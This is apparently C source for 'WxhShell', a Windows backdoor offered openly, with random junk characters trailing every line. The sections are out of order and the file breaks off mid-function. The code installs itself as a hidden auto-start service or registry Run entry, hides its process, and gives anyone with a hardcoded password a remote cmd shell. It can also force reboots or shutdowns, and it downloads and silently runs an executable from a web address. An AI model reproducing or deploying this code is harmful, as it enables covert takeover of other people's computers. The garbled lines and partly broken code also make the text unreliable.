    if(Boot(SHUTDOWN)) V2sB[Mw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`J..f9  
    else { \kJt@ [w%  
    closesocket(wsh); 3M:B?2  
    ExitThread(0); 3S2p:\]  
    } VA&OI;=ri  
    break; fylA 0{  
    } c%,6L<[  
  // 获取shell 3x;y}:wQa  
  case 's': { r7BH{>-  
    CmdShell(wsh); ?}>Z_ ("  
    closesocket(wsh); lO[jf6gB  
    ExitThread(0); OB I8~k  
    break; r(xlokpnb6  
  } (R|FQdH  
  // 退出 CFrHNU  
  case 'x': { 3,cE/Ei  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u B%^2{uU  
    CloseIt(wsh); c+K=pp@  
    break; uJ5%JB("E  
    } s!RA_%8/>  
  // 离开 ]TZWFL-  
  case 'q': { u:u 7|\q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GbrPtu2{@V  
    closesocket(wsh); ~9'4w-Sy  
    WSACleanup(); {{)[Ap)  
    exit(1); */dsMa  
    break; t=\[J+  
        } 4a50w:Jy]  
  } rZCAj  
  } `g:^KCGMM  
;7=J U^@D@  
  // 提示信息 s{EX ;   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ua>~$`@gX  
} 'pls]I]  
  } Y\9*e5?`I3  
U:p"IY#%  
  return; F0^~YYRJV  
} 6)2M/(  
)tQ6rd'  
// shell模块句柄 U.sPFt  
int CmdShell(SOCKET sock) T9v#Jb6  
{ fy-Z{  
STARTUPINFO si; ~5dq5_  
ZeroMemory(&si,sizeof(si)); jO N}&/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _*B~ESC0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ysn[-l#  
PROCESS_INFORMATION ProcessInfo; yNf=Kl  
char cmdline[]="cmd"; l7y`$8Co  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )0V]G{QN  
  return 0; 3S|;yOl#X  
} Dj&bHC5%  
?-&D'  
// 自身启动模式 c5+lm}R?  
int StartFromService(void) yacGJz^f=  
{ MxA'T(Ay  
typedef struct W ]MJ!4  
{ qvT+d l3#[  
  DWORD ExitStatus; }Fe{s;  
  DWORD PebBaseAddress; _<}5[(qu  
  DWORD AffinityMask; &>B>+}'  
  DWORD BasePriority; )$N{(Cke2T  
  ULONG UniqueProcessId; =WRU<`\  
  ULONG InheritedFromUniqueProcessId; R6o<p<fTh  
}   PROCESS_BASIC_INFORMATION; DH*|>m&  
ew ,edU  
PROCNTQSIP NtQueryInformationProcess; mqc Z3lsv  
3Ty{8oUs^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -#M~Nb I,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l'8TA~  
$ttr_4=  
  HANDLE             hProcess; 2j BE+k"M  
  PROCESS_BASIC_INFORMATION pbi; 4$w-A-\ t  
BcO2* 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $5(%M8qmQ  
  if(NULL == hInst ) return 0; }ucg!i3C  
5!{g6=(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vszAr( t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CPE F,,\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )@|Fh@|  
=C2C~Xd  
  if (!NtQueryInformationProcess) return 0; PBnn,#  
O*CX@Ne  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uKzz/Y{  
  if(!hProcess) return 0; 717m.t,x  
 ,qqV11P]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [zd-=.:+M[  
/s_$CSiB  
  CloseHandle(hProcess); Ybg`Z  
= +\oL!^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2Yjysn  
if(hProcess==NULL) return 0; \uIC<#o"N  
5i&V ~G  
HMODULE hMod; rmoEc]kt]  
char procName[255]; ^Exq=oV  
unsigned long cbNeeded; e(N <Mf  
u`nn{C4D"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zul32]1r  
l@jJJ)Qyk  
  CloseHandle(hProcess); na; ^/_U@  
B\w`)c  
if(strstr(procName,"services")) return 1; // 以服务启动 /Loe y   
NistW+{<  
  return 0; // 注册表启动 OyZ>R~c'B  
} dAt[i \S  
_( Cp   
// 主模块 oIgj)AY<  
int StartWxhshell(LPSTR lpCmdLine) j"=jK^  
{ @C)h;TR  
  SOCKET wsl; GQNiBsV  
BOOL val=TRUE; P6'I:/V  
  int port=0; [=!MS?-G  
  struct sockaddr_in door; Ik)Q0_<a  
= F<`-6  
  if(wscfg.ws_autoins) Install(); %/C[\w p81  
'FXZ`+r|  
port=atoi(lpCmdLine); _/\H3  
Y>~zt -  
if(port<=0) port=wscfg.ws_port; cK@K\AE  
#<3\}*/  
  WSADATA data; l!'iLq"K(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )j*qGsOg  
:UciFIa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F9hWB17u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j(2T,WM  
  door.sin_family = AF_INET; :]jtV~E\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g"f^YEQ_  
  door.sin_port = htons(port); o`0H(\en  
=Ji:nEl]z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dj]N59<  
closesocket(wsl); 6*Qpq7Ml  
return 1; xb>+~59:  
} yp/*@8%_E  
Rw% KEUDm  
  if(listen(wsl,2) == INVALID_SOCKET) { z<*]h^ !3  
closesocket(wsl); w5\)di  
return 1; \}W.RQ^3  
} 2uEu,YC  
  Wxhshell(wsl); N*W.V,6yH  
  WSACleanup(); #1k,t  
oc Uu  
return 0; u6RHn;b  
H_]kR&F8  
} | w -W=v  
H0 t1& :  
// 以NT服务方式启动 u> Hx#R<*%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mD3#$E!A1  
{ M$9h)3(B  
DWORD   status = 0;  `SrVMb(  
  DWORD   specificError = 0xfffffff; H;ib3?  
6 H.Da]hk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y 6< tV.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9m4|1)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #u^d3 $Nj  
  serviceStatus.dwWin32ExitCode     = 0; 39#>C~BOl  
  serviceStatus.dwServiceSpecificExitCode = 0; _L>n!"E/  
  serviceStatus.dwCheckPoint       = 0; X.qKG0i  
  serviceStatus.dwWaitHint       = 0; cB^lSmu5  
WkE;tC*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l:HuG!  
  if (hServiceStatusHandle==0) return; e +U o-CO  
jT',+   
status = GetLastError(); /8T{bJ5  
  if (status!=NO_ERROR) jL&F7itP  
{ Sq>UMfl&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6yqp<D0SP)  
    serviceStatus.dwCheckPoint       = 0; 'z/hj>B<  
    serviceStatus.dwWaitHint       = 0; ;p8xL)mUP  
    serviceStatus.dwWin32ExitCode     = status; .rHO7c,P~  
    serviceStatus.dwServiceSpecificExitCode = specificError; x`&W[AA4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }$jIvb,3?  
    return; VXp X#O  
  } Vv]mME@  
mDUS9>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yFjSvm6  
  serviceStatus.dwCheckPoint       = 0; r>\.b{wI  
  serviceStatus.dwWaitHint       = 0; A[MEtI=Q J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zF7T5 Ge  
} X*@S j;|m  
; V8 =B8w  
// 处理NT服务事件,比如:启动、停止 t)h3GM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X@rAe37h+  
{ 9L,T@#7  
switch(fdwControl) qM'5cxe  
{ i fUgj8i_  
case SERVICE_CONTROL_STOP: gC_U7aw  
  serviceStatus.dwWin32ExitCode = 0; LJ?7W,?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I6+5mv\  
  serviceStatus.dwCheckPoint   = 0; "\ md  
  serviceStatus.dwWaitHint     = 0; , {^g}d8  
  { %|Vq"MW,I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1ARIZ;H  
  } ^Ue>T 8  
  return; W;7cF8fu4  
case SERVICE_CONTROL_PAUSE: a9%# J^ !  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hI$an%Y(  
  break; A]1](VQ)4  
case SERVICE_CONTROL_CONTINUE: ,b{4GU$3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; udMq>s;  
  break; G6FknYj  
case SERVICE_CONTROL_INTERROGATE: DwPl,@T_i\  
  break; qmhHHFjQ  
}; Em;zi.Y+V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .3#Tw'% G  
} iM-@?!WF  
/OEj]DNY  
// 标准应用程序主函数 >U z3F7nHi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P:G^@B3^  
{ o/&Q^^Xj^~  
G"]'`2.m  
// 获取操作系统版本 *=rl<?tX  
OsIsNt=GetOsVer(); @L0.Z1 ).  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sqhM[u k  
}QK-@T@4<  
  // 从命令行安装 yd $y\pN=<  
  if(strpbrk(lpCmdLine,"iI")) Install(); K\#+;\V  
h1xYQF_`Z  
  // 下载执行文件 N]3XDd|q  
if(wscfg.ws_downexe) { d}1R<Q;F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tG'c79D\  
  WinExec(wscfg.ws_filenam,SW_HIDE); !U@[lBW  
} K=V)"v5o3  
)9s[-W,e  
if(!OsIsNt) { CAk.2C/  
// 如果时win9x,隐藏进程并且设置为注册表启动 +NQw ^!0qy  
HideProc(); B--`=@IRf"  
StartWxhshell(lpCmdLine); 3LG)s:p$/  
} se&:Y&vrc~  
else c8h 9  
  if(StartFromService()) /)N[tv2  
  // 以服务方式启动 }0:=)e  
  StartServiceCtrlDispatcher(DispatchTable); !^w+<p  
else `3~w#?+=*  
  // 普通方式启动 |2Q;SaI^\  
  StartWxhshell(lpCmdLine); uTQ/_$  
O:4.xe  
return 0; opKtSF|)  
} D9h\=[%e  
Hly$ Wm  
Tw$lakw  
4q2aVm  
===========================================  V}&  
<3'r&ks  
/p~gm\5Z  
w1[F]|  
a!;?!f-i  
?g 1%-F+  
" I%|W O*x  
US-P>yF  
#include <stdio.h> pl5!Ih6  
#include <string.h> M*nfWQ a  
#include <windows.h> dI3U*:$X  
#include <winsock2.h> dLLF#N  
#include <winsvc.h> )!'SSVaRs  
#include <urlmon.h> @X:P`?("^  
IL\#!|>  
#pragma comment (lib, "Ws2_32.lib") {JMFCc[  
#pragma comment (lib, "urlmon.lib") zUeS7\(l  
Rh iiQ  
#define MAX_USER   100 // 最大客户端连接数 wT;D<rqe`  
#define BUF_SOCK   200 // sock buffer !RV}dhI  
#define KEY_BUFF   255 // 输入 buffer u>}k+8~  
^8DC W`V  
#define REBOOT     0   // 重启 qjuX1 6o  
#define SHUTDOWN   1   // 关机 H'GyWG|Wx  
t68h$u  
#define DEF_PORT   5000 // 监听端口 _&P![o)x  
b2hB'!m  
#define REG_LEN     16   // 注册表键长度 ~b*f2UVs  
#define SVC_LEN     80   // NT服务名长度 V1M oW;&  
k/Z}nz   
// 从dll定义API A#*0mJ8IK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D3$}S{Yw1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); El ,p}Bi.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M(xd:Fa?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;a2TONW   
42mdak}\  
// wxhshell配置信息 C*=#=.~~{  
struct WSCFG { to2dkU  
  int ws_port;         // 监听端口 - 3kg,=HU;  
  char ws_passstr[REG_LEN]; // 口令 wUab)L  
  int ws_autoins;       // 安装标记, 1=yes 0=no J=ZNx;{6  
  char ws_regname[REG_LEN]; // 注册表键名 Z3)1!|#Q  
  char ws_svcname[REG_LEN]; // 服务名 ex1bjM7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {'T=&`&OF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s+l)Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5\lOZYHX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Tj9btM*cL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &^9 2z:?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _Uc le  
Srg `Tt]  
}; v [\' M  
wS9EC}s:Q  
// default Wxhshell configuration b$[O^p9x  
struct WSCFG wscfg={DEF_PORT, BNL Q]  
    "xuhuanlingzhe", {fmSmD  
    1, q,A;d^g  
    "Wxhshell", blEs!/A`  
    "Wxhshell", {dTtYL$'"  
            "WxhShell Service", @|sDb?J  
    "Wrsky Windows CmdShell Service", k%Jv%m}aB  
    "Please Input Your Password: ", Mt"j< ]EW  
  1, C;QIp6"1  
  "http://www.wrsky.com/wxhshell.exe", 0x*L"HD  
  "Wxhshell.exe" _gxI=EYi  
    }; _Gv n1"l  
|5^tp  
// 消息定义模块 e4ym6q<6!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kO>F, M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FMh SHa/B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RX3P %xZ  
char *msg_ws_ext="\n\rExit."; : A9G>qg  
char *msg_ws_end="\n\rQuit."; gP:mZ7  
char *msg_ws_boot="\n\rReboot..."; kdcr*7w  
char *msg_ws_poff="\n\rShutdown..."; ]lV\D8#  
char *msg_ws_down="\n\rSave to "; PRa #; Wb  
~ (I'm[  
char *msg_ws_err="\n\rErr!"; 2|8e7q:+*  
char *msg_ws_ok="\n\rOK!"; Hx5t![g2K!  
ckG`^<  
char ExeFile[MAX_PATH]; 9)}Nx>K  
int nUser = 0; vau0Jn%=ck  
HANDLE handles[MAX_USER]; z)*7LI  
int OsIsNt; >VIb|YA  
XR3=Y0YDf  
SERVICE_STATUS       serviceStatus; kqdF)Wa am  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kwF4I )6  
1 w*DU9f  
// 函数声明 lC):$W  
int Install(void); gJz~~g'  
int Uninstall(void); MZ]#9/  
int DownloadFile(char *sURL, SOCKET wsh); SkU'JM7<95  
int Boot(int flag); G;Jqby8d  
void HideProc(void); ^UOVXRn  
int GetOsVer(void); tj7{[3~-[  
int Wxhshell(SOCKET wsl); _8]hn[  
void TalkWithClient(void *cs); f sRRnD  
int CmdShell(SOCKET sock); <_(UAv  
int StartFromService(void); av~dH=&=  
int StartWxhshell(LPSTR lpCmdLine); &iYy  
jg%HaA<zO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \qk+cK;+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); apFY//(yu  
Uskz~~}G  
// 数据结构和表定义 :.u[^_   
SERVICE_TABLE_ENTRY DispatchTable[] = tgz  
{ <Wqk5mR  
{wscfg.ws_svcname, NTServiceMain}, bLSXQStB  
{NULL, NULL} *PEk+e  
}; 0@cc XF E  
" b?1Yc-  
// 自我安装 ` 9iB`<  
int Install(void) gK7bP'S8H  
{ St 4YNS.|  
  char svExeFile[MAX_PATH]; O{@m,uY  
  HKEY key; >AFX}N#  
  strcpy(svExeFile,ExeFile); :56f  
Ut|G.%1Vd%  
// 如果是win9x系统,修改注册表设为自启动 -SO`wL NV  
if(!OsIsNt) { lyZ[t PS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! 3&_#VO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); afE`GG-  
  RegCloseKey(key); >Z-f</v03  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p)'.swpJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %z9eVkPI~  
  RegCloseKey(key); Pi7IBz  
  return 0; bvpP/LeY  
    } (x"TM),Q  
  } m 3k}iIU7  
} VEUdw(-?s  
else { 4Og&w]  
)3 C~kmN7  
// 如果是NT以上系统,安装为系统服务 JrZ"AId2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >U?U ;i  
if (schSCManager!=0) rwYlg:  
{ wlvhDJ  
  SC_HANDLE schService = CreateService e[`u:  
  ( Qqju6}+  
  schSCManager, E}&Z=+v}  
  wscfg.ws_svcname, {-FS+D`  
  wscfg.ws_svcdisp, ^dc~hD  
  SERVICE_ALL_ACCESS, !w+A3Z>V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pi^5LI6JW  
  SERVICE_AUTO_START, ^#:F8D  
  SERVICE_ERROR_NORMAL, SY: gr  
  svExeFile, YS7R8|  
  NULL, IG}`~% Z  
  NULL, iobL6SUZ  
  NULL, 5 *w a  
  NULL, #a : W  
  NULL Nhq& Sn2  
  ); gA`x-`  
  if (schService!=0) N^u,C$zP9C  
  { dM|&Y6  
  CloseServiceHandle(schService); 7*D*nY4+  
  CloseServiceHandle(schSCManager); MJxTzQE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9t`   
  strcat(svExeFile,wscfg.ws_svcname);  Xn<~ln  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #:C?:RMS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {OK+d#=  
  RegCloseKey(key); ^&nC)T<w  
  return 0; : 5=E> !  
    } X}!r4<;(  
  } !sbKJ+V7  
  CloseServiceHandle(schSCManager); 4d\"gk  
} >=<qAkk  
} '%k<? *  
c_oI?D9  
return 1; DBUhqRfl  
} E Z^eEDZ  
3F/05}d`  
// 自我卸载 ]yzqBbV  
int Uninstall(void) }M9R5!=q  
{ )@%wj;>a  
  HKEY key; OIT9.c0h  
W6=j^nv  
if(!OsIsNt) { QEUr+7[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mQVc ZV  
  RegDeleteValue(key,wscfg.ws_regname); GQZLOjsop  
  RegCloseKey(key); ?k6P H"M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >o\s'i[  
  RegDeleteValue(key,wscfg.ws_regname); fWr6f`de  
  RegCloseKey(key); }=d]ke9_  
  return 0; +Xa^3 =B  
  } y-Xd~<*Ia  
} IB!^dhD!Q  
} K]0Q=HY{.  
else { Y+ZQN>  
 p^=>N9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [P'crV,m  
if (schSCManager!=0) ?zypF 5a  
{ 5P?7xRA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]klP.&I/0  
  if (schService!=0) uU&,KEH  
  { vXdz?  
  if(DeleteService(schService)!=0) { I(i/|S&^  
  CloseServiceHandle(schService); i{['18Q$F3  
  CloseServiceHandle(schSCManager); OK=lp4X  
  return 0; 8XwZJ\5  
  } "X\|!Mxh  
  CloseServiceHandle(schService); f^ q0#+k)  
  } $6&P 69<  
  CloseServiceHandle(schSCManager); @@!Mt~\  
} h"mG\xi  
} Y Mes314"  
+3@d]JfMh  
return 1; yQ^k%hHa  
} 6mFH>T*jzH  
D)yCuw{M:  
// 从指定url下载文件 @ y{i.G  
int DownloadFile(char *sURL, SOCKET wsh) pHW Qk z(  
{ 5 IK -V)  
  HRESULT hr; ;g-L2(T05;  
char seps[]= "/"; m\3r<*q6  
char *token; Bl)znJ^  
char *file; Rnl 4  
char myURL[MAX_PATH]; ^LA.Y)4C2%  
char myFILE[MAX_PATH]; 2>Uy`B|f  
yMdAe>@  
strcpy(myURL,sURL); s_`PPl_D$K  
  token=strtok(myURL,seps); WK{{U$:$  
  while(token!=NULL) {l/]+8G^  
  { A5d(L4Q]a(  
    file=token; [dszz7/L  
  token=strtok(NULL,seps); @,b:s+]rp  
  } bzz{ p1e  
-EwtO4vLJ  
GetCurrentDirectory(MAX_PATH,myFILE); Fx^e%":@ip  
strcat(myFILE, "\\"); (6jr}kP  
strcat(myFILE, file); =1rq?M eX  
  send(wsh,myFILE,strlen(myFILE),0); a$Lry?pb  
send(wsh,"...",3,0); @<GVY))R8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?q}XD c  
  if(hr==S_OK) 9u3~s <  
return 0; EYe)d+E*  
else 2TR l @  
return 1; &4aY5y`8+f  
F TB@70  
} w(lxq:>"  
|!0R"lv'u  
// 系统电源模块 z8#c!h<@;  
int Boot(int flag) $6~ \xe=  
{ 5H+S=  
  HANDLE hToken;  R~jV  
  TOKEN_PRIVILEGES tkp; .Yl*kG6r  
a59l"b  
  if(OsIsNt) { =xO  q-M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /eM_:H5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p1dqDgF*  
    tkp.PrivilegeCount = 1; i(eLE"G+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9Y9 pKTU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E8-8E2i,  
if(flag==REBOOT) { N9W\>hKaeh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ELx?ph-9  
  return 0; m?Gb5=qo  
} A+JM* eB  
else { p[Z'Fl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nN|zEw]  
  return 0; ?WD|a(  
} e/;1<5tfj  
  } 4o:  
  else { 8&AHu  
if(flag==REBOOT) { bLx70$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GN36:>VWb  
  return 0; sFR'y.  
} 8[\(*E}d!X  
else { l)PEg PSRV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +6vm4(3?  
  return 0; 9]Q\Pr\Ub$  
} 'o2V}L'nG  
} YF{KSGq  
7=.}484>J  
return 1; 4<`x*8` ,  
} fo"dX4%}  
u9AXiv+K  
// win9x进程隐藏模块 jV_Eyi3  
void HideProc(void) +vxU~WIV&  
{ 0:(`t~  
_8Si8+j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dXKv"*7l  
  if ( hKernel != NULL ) Dh*>361y-  
  { GHQa{@m2V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nwd 02tu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :K!@zT=o  
    FreeLibrary(hKernel); @@U'I^iG  
  } >\Qyg>Md]  
WMB~? EDhv  
return; JwzA'[tM  
} w%,Iy, G@  
05 ".;(  
// 获取操作系统版本 (7nWv43  
int GetOsVer(void) &A=q_  
{ _ ?f~UvK  
  OSVERSIONINFO winfo; =1o_:VOG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )t G`a ;  
  GetVersionEx(&winfo); =,D3e+P'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jWb;Xk4  
  return 1; q9- =>  
  else )Cuc ]>SC  
  return 0; j)Z3m @Ii5  
} YoD1\a|  
cad%:%p  
// 客户端句柄模块 NpRT\cx3  
int Wxhshell(SOCKET wsl) /easmf]  
{ >6XGF(G   
  SOCKET wsh; ?YY'-\h?  
  struct sockaddr_in client; *iB_$7n`  
  DWORD myID; V@jR8zv|_  
uS3 s  
  while(nUser<MAX_USER) .K(IRWuw  
{ clz6; P  
  int nSize=sizeof(client); NQq$0<7.=W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RdlcJxM  
  if(wsh==INVALID_SOCKET) return 1; EEQW$W1@  
/}?"O~5M"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R1'bB"$  
if(handles[nUser]==0) #!\g5 ')mC  
  closesocket(wsh); wK@k}d  
else Mn(:qQo^&`  
  nUser++; ^ N]u  
  } oDp!^G2A"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iARIvhfdi  
pg69mKZ$  
  return 0; /?l@7  
} P@ '<OI  
RE]u2R6Y  
// 关闭 socket bet?5Dk  
void CloseIt(SOCKET wsh) }E$^!q{  
{ wy&s~lpV,7  
closesocket(wsh); X}`|"NIk.  
nUser--; @dAc2<4  
ExitThread(0); C7&4,],  
} R;6(2bTN6  
M{+Ie?ZI  
// 客户端请求句柄 xW*L^97 ;  
void TalkWithClient(void *cs) MyZ@I7Fb,  
{ QK -_~9V  
XGZ1a/x;s  
  SOCKET wsh=(SOCKET)cs; ,u|vpN  
  char pwd[SVC_LEN]; U/E M(y  
  char cmd[KEY_BUFF]; S?nXpYr  
char chr[1]; uzL)qH$b  
int i,j; #_{3W-35*  
HK>!%t0S  
  while (nUser < MAX_USER) { t^. U<M  
c@)k#/[[b  
if(wscfg.ws_passstr) { ^w4FqdGM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xZt]s3?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~4o2!!^tI  
  //ZeroMemory(pwd,KEY_BUFF); <Yfk7Un  
      i=0; XA} !  
  while(i<SVC_LEN) { ']1j M n  
{20^abUAS  
  // 设置超时 gQf'|%)AJ  
  fd_set FdRead; hA6!F#1  
  struct timeval TimeOut; KumbG>O  
  FD_ZERO(&FdRead); zzi%r=%r&  
  FD_SET(wsh,&FdRead); bLoAtI  
  TimeOut.tv_sec=8; agX-V{l.  
  TimeOut.tv_usec=0; 6/B"H#rN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kpi)uGvGUA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 92+LY]jS  
17[7)M88  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )BudV zg  
  pwd=chr[0]; 7{j9vl6  
  if(chr[0]==0xd || chr[0]==0xa) { +`l >_u'  
  pwd=0; )r-t$ L  
  break; uiDK&@RS  
  } 9vT@ mqKu  
  i++; ^2OBc  
    } U/&!F  
xN0n0  
  // 如果是非法用户,关闭 socket &AH@|$!E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B*E:?4(<P  
} ~p<o":k+Lv  
/g2(<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x/47e8/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GQ ZEMy7  
NK]X="`  
while(1) { aH'Sz'|E  
E[HXbj"  
  ZeroMemory(cmd,KEY_BUFF); TTpK8cC  
#R<4K0Xan  
      // 自动支持客户端 telnet标准   \D>vdn"Lx  
  j=0; l)GV&V  
  while(j<KEY_BUFF) { Ee;&;Q,O.z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Az[Yvu'<  
  cmd[j]=chr[0]; !vHUe*1a{  
  if(chr[0]==0xa || chr[0]==0xd) { Q+gd|^Vc9  
  cmd[j]=0; fdGls`H  
  break; U)a}XRS  
  } x|n2,3%  
  j++; .ICGGC`O  
    } BO<I/J~b  
#DpDmMP9R3  
  // 下载文件 !VU[=~  
  if(strstr(cmd,"http://")) { jSp4eq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5$0@f`sj  
  if(DownloadFile(cmd,wsh)) xM}lX(V!w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vs;T}' O  
  else (D F{l?4x-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4ihv|%@  
  } %YLdie6c  
  else { .^8 x>~  
